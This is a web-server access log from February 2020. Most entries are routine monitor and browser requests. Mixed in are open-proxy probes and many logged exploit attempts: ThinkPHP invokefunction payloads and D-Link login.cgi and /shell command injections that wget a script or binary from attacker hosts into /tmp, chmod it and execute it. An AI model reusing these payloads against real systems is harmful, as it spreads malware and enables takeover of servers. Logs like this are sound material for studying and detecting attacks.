95.9.144.148 - - [02/Feb/2020:09:31:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:09:32:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:33:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.206.130.36 - - [02/Feb/2020:09:33:34 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
123.144.28.170 - - [02/Feb/2020:09:33:35 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
58.248.201.25 - - [02/Feb/2020:09:33:36 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
222.82.52.57 - - [02/Feb/2020:09:33:37 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
106.45.1.26 - - [02/Feb/2020:09:33:38 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
110.177.72.95 - - [02/Feb/2020:09:33:38 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
60.13.6.82 - - [02/Feb/2020:09:33:39 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.58.247.78 - - [02/Feb/2020:09:33:39 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
119.39.47.111 - - [02/Feb/2020:09:33:40 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
106.45.0.152 - - [02/Feb/2020:09:33:42 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:09:34:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:35:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [02/Feb/2020:09:36:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [02/Feb/2020:09:36:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:37:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:38:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:39:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:40:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:41:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:42:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:43:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:44:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.42.181.0 - - [02/Feb/2020:09:44:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:09:45:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:46:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.189.116 - - [02/Feb/2020:09:46:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.28.234 - - [02/Feb/2020:09:47:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:47:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:48:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:49:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.64.250 - - [02/Feb/2020:09:49:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:50:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.46.94.83 - - [02/Feb/2020:09:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [02/Feb/2020:09:51:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.74 - - [02/Feb/2020:09:51:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.107.83 - - [02/Feb/2020:09:52:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:52:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:53:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:54:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:55:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.61 - - [02/Feb/2020:09:56:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.225.237.188 - - [02/Feb/2020:09:57:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:57:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:58:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:59:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.253.197.124 - - [02/Feb/2020:09:59:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:00:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.226.225 - - [02/Feb/2020:10:02:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.0.145.160 - - [02/Feb/2020:10:02:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:02:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
74.207.243.36 - - [02/Feb/2020:10:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:10:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.225.250 - - [02/Feb/2020:10:04:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.16.78 - - [02/Feb/2020:10:06:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:07:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.153.52.161 - - [02/Feb/2020:10:07:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:10:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:10:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:11:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:12:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:13:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.203 - - [02/Feb/2020:10:14:15 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [02/Feb/2020:10:14:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.209.36.118 - - [02/Feb/2020:10:15:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:15:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.122 - - [02/Feb/2020:10:17:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:17:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.82.110 - - [02/Feb/2020:10:18:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:19:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:20:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.68.226 - - [02/Feb/2020:10:20:36 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:10:21:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:22:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:23:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.202.79.119 - - [02/Feb/2020:10:23:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.224.52.249 - - [02/Feb/2020:10:23:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
197.202.79.119 - - [02/Feb/2020:10:23:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.116.14 - - [02/Feb/2020:10:23:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:24:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.255.176.116 - - [02/Feb/2020:10:25:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
173.255.176.116 - - [02/Feb/2020:10:25:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.112.53.0 - - [02/Feb/2020:10:25:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
173.255.176.116 - - [02/Feb/2020:10:26:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.166.117.52 - - [02/Feb/2020:10:26:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:10:26:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.255.176.116 - - [02/Feb/2020:10:26:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.228.19.79 - - [02/Feb/2020:10:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [02/Feb/2020:10:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:28:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.139.86.46 - - [02/Feb/2020:10:29:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.194.64.96 - - [02/Feb/2020:10:29:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:29:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:30:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:31:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.212.202 - - [02/Feb/2020:10:32:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:33:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.146.50 - - [02/Feb/2020:10:33:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:34:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.1.90.14 - - [02/Feb/2020:10:34:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.14.145 - - [02/Feb/2020:10:34:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:35:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:36:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:37:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.224.176 - - [02/Feb/2020:10:37:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
209.159.154.190 - - [02/Feb/2020:10:37:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://94.177.216.74/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [02/Feb/2020:10:38:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:39:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
147.30.158.195 - - [02/Feb/2020:10:40:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:10:40:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:41:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:10:42:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
